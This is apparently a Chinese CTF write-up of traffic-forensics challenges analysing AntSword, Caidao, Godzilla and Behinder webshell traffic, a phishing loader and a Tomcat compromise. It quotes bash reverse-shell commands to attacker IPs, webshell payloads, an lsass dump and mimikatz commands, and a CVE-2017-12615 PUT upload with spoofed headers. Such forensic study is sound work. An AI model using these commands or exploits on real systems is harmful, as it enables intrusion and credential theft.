第六章 流量特征分析-蚁剑流量分析
1.1
木马的连接密码是多少
我们知道了是蚁剑的流量分析那么通过打开直接进入http的流,通过追踪流文件发现了一个蚁剑流量的特征,虽然前面做了一份流量特征的但是现在发现总结的并不是十分了解,甚至说是连了解皮毛都算不上,在sun师傅的带领下我又重新学了一边,这次总结的稍微详细一点。

我们可以看到这是一个标准的蚁剑流量,通过这个流量我们可以知道蚁剑的开头实际上就是密码所以第一题的flag就知道了为
flag{1}
1.2
黑客执行的第一个命令是什么
蚁剑通过url解密后可以知道又三个参数
| 参数名(示例) | 实际名称 | 作用 | 典型值 |
|---|---|---|---|
ma569eedd00c3b | shell | 解释器路径 | /bin/sh, cmd.exe |
ucc3f8650c92ac | command | 要执行的命令 | -c "cd /tmp;ls -la" |
e5d0dbe94954b3 | env | 环境变量配置 | PATH=..., LANG=... 或简单标识 |
所以三个参数和后面base加密可以得出是在执行命令。蚁剑流量的加密会进行混淆,base开头前两个随机字符便是混淆,将他去除后进行base64解密可以得知
Y2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz
cd "/var/www/html";id;echo e124bc;pwd;echo 43523
它通过cd进入到了一个目录下,去查看了当前用户的身份和权限信息,通过蚁剑通信验证标记,来确认webshell的连接正常,打印当前目录在通过蚁剑的通信验证标记。
蚁剑的通信验证标记是一个固定的结构,由蚁剑客户端动态生成的,遵循特定算法(基于连接会话密钥,随机数和时间戳),每次连接会有所不同,验证标记是为了检验连接和确保数据完整性。
echo [标记1];echo [标记2]
这个时候我们便可以知道第二题的答案便是
flag{id}
1.3
黑客读取了哪个文件的内容,提交文件绝对路径
还是去通过查找流量文件读取那个文件内容,通过分析流量包2我们知道他还是进行的命令执行来读取文件的内容,所以通过翻译
Y2QgIi92YXIvd3d3L2h0bWwiO2NhdCAvZXRjL3Bhc3N3ZDtlY2hvIGUxMjRiYztwd2Q7ZWNobyA0MzUyMw%3D%3D
得到
cd "/var/www/html";cat /etc/passwd;echo e124bc;pwd;echo 43523
那么就知道了第三题的flag是通过cat读取了/etc/passwd
flag{/etc/passwd}
1.4
黑客上传了什么文件到服务器,提交文件名
我们通过第三个流可以知道最后一串内容是
666C61677B77726974655F666C61677D0A&t41ffbc5fb0c04=0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA%3D%3D
得到
flag{write_flag} /var/www/html/flag.txt
为什么是上传是因为文件上传一般是两个参数,前面是文件编码内容,后面是路径
flag{flag.txt}
1.5
黑客上传的文件内容是什么
跟上面内容一样,我们知道了文件上传的路径,前面的编码内容那么直接就得出了第五题的flag
flag{write_flag}
1.6
黑客下载了哪个文件,提交文件绝对路径
分析了流量包四我们可以知道他是在进行一个目录浏览
L3Zhci93d3cvaHRtbC8%3D
那这个时候我们去看第五个流量包可以知道
L3Zhci93d3cvaHRtbC9jb25maWcucGhw
/var/www/html/config.php
通过正常逻辑可以分析出来是执行了下载操作也可以通过参数数量去查看只有一个参数t41ffbc5fb0c04后面跟的是目标文件的路径
| 功能 | 参数数量 | 参数特征 |
|---|---|---|
| 文件上传 | 2 | 16 进制 + base64(通常包含文件内容编码、目标路径编码) |
| 命令执行 | 3 | 三个随机参数名(解释器、环境变量配置、执行的命令) |
| 文件下载 | 1 | base64 编码(含目标文件路径参数 + 操作标识参数) |
| 目录浏览 | 2 | base64 编码(含目标目录路径参数 + 列表操作标识参数) |
| 文件删除 | 2 | base64 编码(含待删除文件路径参数 + 删除操作标识参数) |
并且蚁剑的交互并不是虚拟终端交互,只是在界面上模拟了虚拟终端的命令行交互模式。
第六章 流量特征分析-蚂蚁爱上树
准备工作
我们直接通过题目就可以看出什么是流量,打开后发现流量非常大,既然知道是蚁剑流量那么直接在筛选里面去搜索http流量就可以了。
并且我们知道蚁剑是一个webshell,它的默认通信流量一般是通过POST请求与控制端进行交互的,所以第一步我们就可以直接查看post请求。
http.request.method == "POST"
可以发现流量有很多这个时候我们慢慢来看

可以通过往下面寻找在几个最大的流量包内寻找到了带有蚁剑特征的base64,他的特征很明显都是product2这个流量包,那么我们可以在进行筛选。
http.request.method == "POST" && http.request.uri contains "product2.php"
通过筛选完成后的流量就少了很多,这个时候我们就可以通过base64解码来看每一个流量都干了啥事情
1.1
管理员Admin账号的密码是什么?
我们通过筛选完成后可以发现2120-2751这几个编号的流量实际上一直在做连接准备,并且连接上后在查找whoami来查看当前登录用户身份,以及当前操作系统的详细信息。
3531这个序号的流量,可以知道是在进入web目录,往下看4069这个流量直接dump下来一个压缩包,还是没有找到我们所要的密码。
在15190这条流量可以看见他在创建账户
··=·^·u·····cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]7
在你的服务器上创建了一个名为 admin而且密码是 Password1
这个时候我们就直接知道flag是
flag{Password1}
1.2
LSASS.exe的程序进程ID是多少?
什么是LSASS.exe
简单来说就是这个程序是Windows系统中的本地安全系统服务,他会管理用户登录认证,负责Windows身份验证协议和存储敏感数据。
我们前面不是找了4069吗往下看到4568

就可以看到一个rund1132.exe它通过comsvcs这个系统自带的DLL可以实现无需携带恶意二进制就能完成minidump,我们知道想要dump下来就需要知道端口号,那这个时候就可以得出进程ID了为852
flag{852}
1.3
用户WIN101的密码是什么?
通过前面的查询我们已经知道了他dump下来的东西打包成了压缩包,并且dump出来的东西他是包含了lsass内存完整的凭证,我们就可以通过mimitakz去读取这些数据。
通过wireshark的文件导出,直接导出47MB的product2这个文件。
他是一个php后缀的,我们通过010可以发现它实际上是一个mdmp文件头,他是一个minidump的文件扩展名,我们只需要将后缀改为.dmp

通过猕猴桃(mimitakz)就可以获得密码。指令为(记得以管理员模式运行更好一点)
sekurlsa::minidump product2.dmp
sekurlsa::logonpasswords
然后可以在win101里的NTLM找到md5的加密解出来就是密码
282d975e35846022476068ab5a3d72df

flag{admin#123}
这个时候我们需要知道NTLM是什么东西
NTLM是一个微软早期的身份验证协议主要是用MD4进行加密。
第六章 流量特征分析-waf 上的截获的黑客攻击流量
1.1
黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx}
一上来要我们查找登录成功的那肯定就是http的请求,随便翻了翻发现好多还都是/admin/login.php的登录路径
http.request.method == “POST”&& http.request.uri contains “/admin/login.php”
直接去进行一个筛选

发现有登录的账号和密码而且挺像的这个时候我们直接通过返回http流量密码去找这个流量包还有上面几个的流量包,先看看返回值是什么,再说那个是正确答案
可以看到正常我们前面几个都是200的返回值所以答案应该是不对的,既然通过筛选找到最后几个发现有登陆密码就通过整体去查看一下他POST后面的返回值

我们再往下找可以发现最后有两个是我们最开始筛选以后得到的账号和密码他们的返回值都是302跳转了说明这个才是

所以flag也就出来了
flag{admin!@#pass123}
1.2
黑客发现的关键字符串 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
这种让我们在流量里面找flag的,有个取巧的方法就是直接搜索

这种的没必要描述了,正常的流程应该是通过去分析看一下是什么流量,通过追踪我们可以知道是他属于是一个菜刀流量
POST /images/article/a.php HTTP/1.1
User-Agent: Java/1.8.0_171
Host: 192.168.32.189
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 365
1234=@eval.(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D&z1=L3Zhci93d3cvaHRtbC9yb2JvdHMudHh0
HTTP/1.1 200 OK
Date: Wed, 08 Aug 2018 08:17:04 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.4.45
Content-Length: 289
Connection: close
Content-Type: text/html; charset=UTF-8
->|User-agent: *
Disallow: /admin/
Disallow: /cache/
Disallow: /data/
Disallow: /include/
Disallow: /install/
Disallow: /languages/
Disallow: /m/include/
Disallow: /m/theme/
Disallow: /theme/
Disallow: /upgrade/
Disallow: /captcha.php
flag:87b7cb79481f317bde90c116cf36084b
|<-
为什么是菜刀流量
因为User-Agent: Java/1.8.0_171 加上标准的菜刀 Payload 结构大概率是C刀是基于 Java 编写的中国菜刀克隆版,所以 UA 会显示 Java
并且菜刀的定界符是固定死的 ->| 和 |<-,还可以通过z1和z2这种参数命名习惯来分辨。
既然知道是菜刀流量了就需要去过滤
http.request.uri contains "/a.php"
通过过滤再去寻找flag,我们只不过是取巧了
1.3
黑客找到的数据库密码 flag{xxxxxxxxxxxxxxxx}
我们知道密码是password,但是有可能不对,并且还有dbuser和dbpass这种情况出现,所以去筛选为
http contains "password"
会发现有很多,看了几个发现感觉不对
这个时候再去换成dbpass

可以发现只有两个流量,那么这个就应该是flag
flag{e667jUPvJjXHvEUv}
第六章 流量特征分析-小王公司收到的钓鱼邮件
1.1
下载数据包文件 hacker1.pacapng,分析恶意程序访问了内嵌 URL 获取了 zip 压缩包,该 URL 是什么将该 URL作为 FLAG 提交 FLAG(形式:flag{xxxx.co.xxxx/w0ks//?YO=xxxxxxx}) (无需 http、https);
直接筛选http的文件,发现这个文件非常少,那么我们一个一个看实际上就行了,通过追踪流发现有zip的压缩包,我们直接通过导出http 的分组%3fYO=1702920835这个文件,加上后缀为ZIP的格式,我们打开有杀软的可能会直接报毒,有些解压软件也可能会报毒。
这就说明我们直接找对文件了
flag{tsdandassociates.co.sz/w0ks//?YO=1702920835}
1.2
下载数据包文件 hacker1.pacapng,分析获取到的 zip 压缩包的 MD5 是什么 作为 FLAG 提交 FLAG(形式:flag{md5})
我们通过http提出来了,现在只需要自己通过MD5进行一下加密就可以了
D:\下载\2\diaoyu2>certutil -hashfile %3fYO=1702920835.zip MD5
MD5 的 %3fYO=1702920835.zip 哈希:
f17dc5b1c30c512137e62993d1df9b2f
CertUtil: -hashfile 命令成功完成。
1.3
下载数据包文件 hacker1.pacapng,分析 zip 压缩包通过加载其中的 javascript 文件到另一个域名下载后续恶意程序, 该域名是什么?提交答案:flag{域名}(无需 http、https)
我们将压缩包解压后,去看一下JS的源码,可以看到有这种的
x808919187 = '';
x808919187+='t';
x808919187+='e';
还有好多h开头o开头的这种,我们可以知道JS文件含有大量注释,使用在线JS去注释网站把注释去掉以后我们再去看特征。
y618891844 += 'e';
y618891844 += ' ';
y618891844 += '/';
y618891844 += 'c';
y618891844 += ' ';
y618891844 += '\"';
y618891844 += '%';
o457607380 = '';
o457607380 += 'h';
o457607380 += 't';
o457607380 += 't';
o457607380 += 'p';
o457607380 += 's';
我们可以知道后面单引号里面的应该是所谓的网址,但是有很多,这个时候我们可以借助工具,写个脚本提取出来 ,或者直接通过AI让他给你筛选出来

所以直接就知道了答案
flag{shakyastatuestrade.com}
第六章 流量特征分析-常见攻击事件
1.1
在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
我们打开可以看见很多的SYN 包说明了使用 Nmap扫描网络时,会生成特定的流量特征,这些特征可以被流量监控系统和入侵检测系统(IDS)识别。大量的SYN 扫描所以可以确认黑客使用的扫描器就是namp那么直接全看就能看见黑客IP
flag{14.0.0.120}
1.2
找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}
自己上浏览器找一个IP查询就可以知道

flag{guangzhou}
1.3
哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}
我们可以知道web服务有很多我们常用的端口
80(HTTP):不安全的网页访问。 443(HTTPS):安全的网页访问。 8080:常见的备用 HTTP 端口。 8443:常见的备用 HTTPS 端口。
我们可以根据流量的特征词来去看他访问的是什么端口

可以看见有admin那这个时候就可以确定为8080端口
flag{8080}
1.4
经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}

通过选择admin那个流追踪直接找到了所用的工具为gobudster
1.5
攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}
我们知道了前提是爆破,那么在登陆界面的时候爆破无论成功还是失败按理来说都是返回值为200还是停留在这个界面上,但是如果他成功了那么就会302跳转到另外一个界面,所以我们去找302 Found / 302 Moved Temporarily这种的,通过筛选302跳转的看了一遍发现这又这一个流文件里面有404,302和200返回成功的,我们现在将200返回值通过base解密
http.response.code == 302

解密完直接得到了flag
admin:tomcat
1.6
攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}
既然说了是登录成功的咱们就要去找一下返回值200的,但是不能通过指令去筛选了因为我们需要去看返回包后面的东西

最终在这找到了,为什么说会锁定这个地方,首先就是/manager/html/upload接口是Tomcat的服务,这个就是tamcat用于管理后台war包上传接口,所以通过后面的文件名可以直接找到了flag
JXQOZY.war
1.7
攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息
既然是权限维持可能就是跟计划任务有关了,现在就可以通过流量去查看包含 /bin 字符串的数据包,因为反弹 shell 的攻击命令或交互过程中,通常会调用系统 Shell 程序(如 /bin/bash、/bin/sh)或 /bin/ 目录下的系统工具。因此,流量中会出现 /bin
tcp contains "/bin"

我们可以发现只有俩流量,低了第一个直接就出来了
/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
第六章-哥斯拉4.0流量分析
1.1
黑客的IP是什么?

通过这些404可以直接看出来ip就是192.168.31.190
1.2
黑客是通过什么漏洞进入服务器的?(提交CVE编号)
我们在流量包能看到好多是404的返回值,这个时候不用管,然后就是200和204以及302的返回值,挑了几个200的返回值看了一下发现没有东西,也没有恶意代码,但是到203的流看的时候发现了问题,有恶意代码

我们通过分析可以知道这个是一个典型的网页后门并且返回值为204表示服务器成功接受并处理了请求,但是没有返回内容,是CVE-2017-12615的原因为
在常规的 Web 应用中,PUT 方法通常用于 RESTful API 或 WebDAV 服务,普通的网站(如只展示页面的 Tomcat)默认不会开启 PUT 方法。
一旦在流量中发现对 Web 根目录使用 PUT 方法,通常意味着要么是配置了 WebDAV,要么就是在尝试文件上传漏洞利用。
请求的路径是:PUT /hello.jsp/ HTTP/1.1
Tomcat 默认不允许直接 PUT /hello.jsp(会被拦截)。但该漏洞利用了 Tomcat 解析 URL 的缺陷,通过在后缀加 /(或 ;),即 /hello.jsp/ 或 /hello.jsp;,来绕过文件名检查。
最后就是版本号CVE-2017-12615 影响范围是 Tomcat 7.0.0 – 7.0.79、8.5.0 – 8.5.22、9.0.0.M1 – 9.0.0.M26。
1.3
黑客上传的木马文件名是什么?(提交文件名)
我们前面的流量能知道文件名是hello.jsp
1.4
黑客上传的木马连接密码是什么?
还是通过那个流量看可以知道密码是7f0e6f
1.5
黑客上传的木马解密密钥是什么?
密钥也在流文件里面1710acba6220f62b
1.6
黑客连接webshell后执行的第一条命令是什么?
这个时候通过筛选hello.jsp文件返回为200的,然后特别大的挑了几个看看了一下,没有太多内容,然后就是试了很多发现了

这个解出来是正确的我们先解密请求包

然后我们在解密返回包可以看到

通过返回包我们可以知道,是在查看linux内核的版本号,那么所执行的指令必然是uname -r,它实际上就是用来查看版本号的,也是我们正常打进去后会去进行的一个信息收集的步骤
1.7
黑客连接webshell时查询当前shell的权限是什么?
我们这个时候看向下面的一个流量包可以找到内容

返回包

他查询的权限是root的权限uid=0(root) gid=0(root) groups=0(root)
1.8
黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
在往下找一个流,可以查看返回包

然后他的发送包是

通过返回包就可以知道linux的发行版本Debian GNU/Linux 10 (buster)
1.9
黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)
这个时候我接着往下翻了一条然后将命令输入发现结果是错误的,往后再翻了一个提交发现为正确的flag。这个时候我们错的就先不管了,具体看正确的为什么正确,先看请求包

再看返回包,然后结合上面一个问AI问了半天,AI属实有点傻了一直说上面那条流的是正确的,所以我看了一下别的师傅博客说的,我认为非常对
命令 dpkg -l libpam-modules:amd64,黑客通过这个命令查询并过滤了与 libpam-modules 包相关的信息。最后的最后黑客成功“dpkg -l libpam-modules:amd64”也成功返回了“pam版本”,所以题目问我们的“利用webshell执行命令还查询并过滤了什么?并且提交整条执行成功的命令“,就是“dpkg -l libpam-modules:amd64”;
1.10
黑客留下后门的反连的IP和PORT是什么?(IP:PORT)

通过这个包可以知道反连IP,解密反弹 shell 命令L2Jpbi9iYXNoIC1pID4mIC9kZXZvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==,对其进行 base64 解码后,得到完整的反弹 shell 指令:/bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1
所以他的ip和PORT都出来了
1.11
黑客通过什么文件留下了后门?
我翻了后面的几个文件在后面那个最大的文件里面找到了

看到pam_unix.so 我就确定了,因为这是一个常见的动态链接库文件,通常与 PAM相关。
1.12
黑客设置的后门密码是什么?
这个时候我们需要通过find去查找这个后门程序
root@ip-10-0-10-2:~# find / -name "pam_unix.so" 2>/dev/null
/usr/lib/x86_64-linux-gnu/security/pam_unix.so
root@ip-10-0-10-2:~# history
1 history
2 exit
3 his
4 history
5 exit
6 exit
7 rpm -qa | grep pam
8 dpkg -l libpam-modules:amd64
9 exit
10 exit
11 cp /lib/x86_64-linux-gnu/security/pam_unix.so /opt/.pam_unix.so.bak
12 cp /tmp/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
13 exit
14 pwd
15 passwd root
16 exit
17 find / -name "pam_unix.so" 2>/dev/null
18 history
root@ip-10-0-10-2:~#
接着再查看一下他的历史命令
通过11和12我们可以知道进行了一个备份,然后用自己的去对他进行了一个替换,现在需要下载进行一个逆向看看里面,首先我们需要知道版本可以用工具也可以直接通过命令去看
root@ip-10-0-10-2:/usr/lib/x86_64-linux-gnu/security# file pam_unix.so
pam_unix.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=b823fd038f580c704c3c8e26f383e82b7cdb5f59, with debug_info, not stripped
通过下载后用dia打开找到关键函数pam_sm_authenticate这是 PAM 模块对外暴露的标准入口函数,用于处理认证。

知道了密码是XJ@123
1.13
黑客的恶意dnslog服务器地址是什么?
可以确认恶意 DNSLog 服务器地址:c0ee2ad2d8.ipv6.xxx.eu.org.
冰蝎3.0-jsp流量分析
POST /indeX.jsp HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type: application/octet-stream
Referer: http://192.168.31.168:8081/indeX.jsp
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.31.168:8081
Connection: keep-alive
Content-Length: 21932
Cookie: JSESSIONID=B3D6F32D8629203BC89DE29563D57D15;
POST的请求头在冰蝎3.0之前里面有个特征就是Content-Type: application/octet-stream
但是在冰蝎4.0之后他的请求头可以自定义参数
然后就是user头会从老旧版本的浏览器中挑选但是这个特征也只适用于冰蝎3.0之前的版本,而且这些浏览器的版本放到如今几乎没人会使用,所以我们不好通过user头去进行一个判断,因为可以让用户自行修改,如果默认不提供的话才是从16个UA头里选择。
- IE:版本 < 9.0 → 老旧
- Chrome:版本 < 50 → 老旧
- Firefox:版本 < 50 → 老旧
Accept的值
默认值非常简单,多为:Accept: */* 或 Accept: text/html, */*; q=0.01,不会包含复杂的类型(如application/xhtml+xml、image/webp等主流浏览器的Accept内容)。主要就是看着和主流浏览器的差异明显
Cache-Control+Pragma头
默认固定为:Cache-Control: no-cache + Pragma: no-cache(两者同时出现)。
Content-Length请求包的长度会特别长,因为3.0之前的版本都是AES+base64的加密形式,到4.0的时候才可以支持多种加密。所以4.0时候的请求包长度就可以根据加密方式走
1.1
黑客IP是什么?
我们首先通过题目知道了是冰蝎流量那我们正常肯定就是筛选出来HTTP的流量信息,我们通过分析就知道了大部分是404并且我们找到了一个特殊开头的东西是PUT(知道一个便知道是上传那么可以通过过滤直接筛查),那么肯定表明就是,攻击者正在进行文件上传

这是如何看出来的,我们可以通过X-Forwarded-For这一行看出,正常情况下这几个字段本来是用来记录真是客户端IP的,但是攻击者通过修改让这些地址,变为了本地回环地址,那就代表着是服务器自己的地址,从而伪装成本地请求,让服务器认为是”是自己发送的请求”,从而绕过进制外部IP上传文件的防护。
那么就可以直接根据Source里的发送ip直接知道黑客ip为
flag{192.168.31.61}
1.2
黑客上传的Webshell名是什么?
实际上就是我们通过PUT知道了他在进行文件上传,再往下看就能知道了他不停地在POST传输index.jsp这个文件,并且返回值有200的我们点开返回值为200的可以看见Line-based text data: text/html (9 lines)这条下面看到一些乱码,这种情况只有两种含义
- 要么是恶意脚本返回的加密 / 编码内容(黑客用来隐藏操作痕迹);
- 要么是二进制 / 非文本数据被当成文本解析(比如恶意程序的执行结果)。
结合我们第一题所知道的put上传那就可以确定是恶意脚本返回的编码内容了
flag{index.jsp}
1.3
黑客上传WebShell的时间是多少?(格式如:flag{YYYY-MM-DD HH:MM:SS})
这个webshell的上传时间就是第一题put文件上传的时间

flag{2025-02-22 07:47:38}
1.4
木马的解密key是什么?
因为前面说过冰蝎是使用AES进行的加密,所以String k="3f0af7bb4dbcfbd7";是 16 位 AES 密钥,
这串冰蝎代码的核心原理实际上就是通过java写了一个类加载器,Java 默认的类加载器只能加载磁盘上的.class文件,但是所写的代码自定义了U类重写了defineClass方法
通过在PUT上传的index文件里可以知道
flag{3f0af7bb4dbcfbd7}
1.5
黑客执行的第一个命令是什么?
我们知道了黑客是通过POST与index.jsp进行的通信,那么就要通过wireshark的语法去进行过滤所包含的流量
http contains "indeX.jsp"
我们还需要注意一个小点,他写的是indeX而不是index这俩最后的X是大小写不同,是为了达到一个混淆的效果。
通过筛选完毕,用python脚本也好用工具箱也好,都可以解出来,我这边通过筛选完成后的将前几个试了一遍发现在510这个长度的流量包里面找到了第一个命令,其他包里面返回值一看就不是正常的显示结果。

flag{ipconfig}
1.6
黑客上传的文件内容是什么?
我们接着流量包一个一个解密往下分析,可以看见在362这个包里面解密出来得到了一个new文件的解密

他将文件名通过base64进行了加密通过解密我们得出为
4ZmxhZ3s0ODUzNzViN2IwNmFkODU2YTc4OGMwZDk1MjI5ZjM1Y30=
通过base64解密发现是一堆乱码,这时候就需要返回服务端去看了,是因为我需要通过这个base64去服务端找落地文件因为他通过冰蝎新建了一个文件。
现在想要得到这个我们就需要也去上传一个冰蝎,去拿去文件
PUT /6.jsp/ HTTP/1.1
Host: 你的玄机靶机地址:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=3F426B8219ACAB91DF13B18D987842BC
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 782
冰蝎jsp代码
通过生成的客户端文件将注释删去后,发个包返回201去冰蝎连接

冰蝎连接成功后去home文件下找到xj(玄机靶场的开头字母)里面有一个up.txt的文件,打开就是flag

flag{485375b7b06ad856a788c0d95229f35c}
1.7
黑客下载的文件内容是什么?
这个时候我们再去看一下流量包下载提示

/opt/apache-tomcat-8.5.19/conf/server.xml在这个路径下,我们直接返回冰蝎查看一下得到了
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<!-- Note: A "Server" is not itself a "Container", so you may not
define subcomponents such as "Valves" at this level.
Documentation at /docs/config/server.html
-->
<Server port="8005" shutdown="SHUTDOWN">
<Listener className="org.apache.catalina.startup.VersionLoggerListener" />
<!-- Security listener. Documentation at /docs/config/listeners.html
<Listener className="org.apache.catalina.security.SecurityListener" />
-->
<!--APR library loader. Documentation at /docs/apr.html -->
<Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
<!-- Prevent memory leaks due to use of particular java/javax APIs-->
<Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />
<Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />
<Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" />
<!-- Global JNDI resources
Documentation at /docs/jndi-resources-howto.html
-->
<GlobalNamingResources>
<!-- Editable user database that can also be used by
UserDatabaseRealm to authenticate users
-->
<Resource name="UserDatabase" auth="Container"
type="org.apache.catalina.UserDatabase"
description="User database that can be updated and saved"
factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
pathname="conf/tomcat-users.xml" />
</GlobalNamingResources>
<!-- A "Service" is a collection of one or more "Connectors" that share
a single "Container" Note: A "Service" is not itself a "Container",
so you may not define subcomponents such as "Valves" at this level.
Documentation at /docs/config/service.html
-->
<Service name="Catalina">
<!--The connectors can use a shared executor, you can define one or more named thread pools-->
<!--
<Executor name="tomcatThreadPool" namePrefix="catalina-exec-"
maxThreads="150" minSpareThreads="4"/>
-->
<!-- A "Connector" represents an endpoint by which requests are received
and responses are returned. Documentation at :
Java HTTP Connector: /docs/config/http.html
Java AJP Connector: /docs/config/ajp.html
APR (HTTP/AJP) Connector: /docs/apr.html
Define a non-SSL/TLS HTTP/1.1 Connector on port 8080
-->
<Connector port="8081" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- A "Connector" using the shared thread pool-->
<!--
<Connector executor="tomcatThreadPool"
port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
-->
<!-- Define a SSL/TLS HTTP/1.1 Connector on port 8443
This connector uses the NIO implementation. The default
SSLImplementation will depend on the presence of the APR/native
library and the useOpenSSL attribute of the
AprLifecycleListener.
Either JSSE or OpenSSL style configuration may be used regardless of
the SSLImplementation selected. JSSE style configuration is used below.
-->
<!--
<Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol"
maxThreads="150" SSLEnabled="true">
<SSLHostConfig>
<Certificate certificateKeystoreFile="conf/localhost-rsa.jks"
type="RSA" />
</SSLHostConfig>
</Connector>
-->
<!-- Define a SSL/TLS HTTP/1.1 Connector on port 8443 with HTTP/2
This connector uses the APR/native implementation which always uses
OpenSSL for TLS.
Either JSSE or OpenSSL style configuration may be used. OpenSSL style
configuration is used below.
-->
<!--
<Connector port="8443" protocol="org.apache.coyote.http11.Http11AprProtocol"
maxThreads="150" SSLEnabled="true" >
<UpgradeProtocol className="org.apache.coyote.http2.Http2Protocol" />
<SSLHostConfig>
<Certificate certificateKeyFile="conf/localhost-rsa-key.pem"
certificateFile="conf/localhost-rsa-cert.pem"
certificateChainFile="conf/localhost-rsa-chain.pem"
type="RSA" />
</SSLHostConfig>
</Connector>
-->
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
<!-- An Engine represents the entry point (within Catalina) that processes
every request. The Engine implementation for Tomcat stand alone
analyzes the HTTP headers included with the request, and passes them
on to the appropriate Host (virtual host).
Documentation at /docs/config/engine.html -->
<!-- You should set jvmRoute to support load-balancing via AJP ie :
<Engine name="Catalina" defaultHost="localhost" jvmRoute="jvm1">
-->
<Engine name="Catalina" defaultHost="localhost">
<!--For clustering, please take a look at documentation at:
/docs/cluster-howto.html (simple how to)
/docs/config/cluster.html (reference documentation) -->
<!--
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"/>
-->
<!-- Use the LockOutRealm to prevent attempts to guess user passwords
via a brute-force attack -->
<Realm className="org.apache.catalina.realm.LockOutRealm">
<!-- This Realm uses the UserDatabase configured in the global JNDI
resources under the key "UserDatabase". Any edits
that are performed against this UserDatabase are immediately
available for use by the Realm. -->
<Realm className="org.apache.catalina.realm.UserDatabaseRealm"
resourceName="UserDatabase"/>
</Realm>
<Host name="localhost" appBase="webapps"
unpackWARs="true" autoDeploy="true">
<!-- SingleSignOn valve, share authentication between web applications
Documentation at: /docs/config/valve.html -->
<!--
<Valve className="org.apache.catalina.authenticator.SingleSignOn" />
-->
<!-- Access log processes all example.
Documentation at: /docs/config/valve.html
Note: The pattern used is equivalent to using pattern="common" -->
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
</Host>
</Engine>
</Service>
</Server>
<!-- flag{3aacab9ca36a6894c75048e4faf47052} -->
这就得到了flag
当然对应的返回包也会有flag

1.8
服务器内的flag是什么?
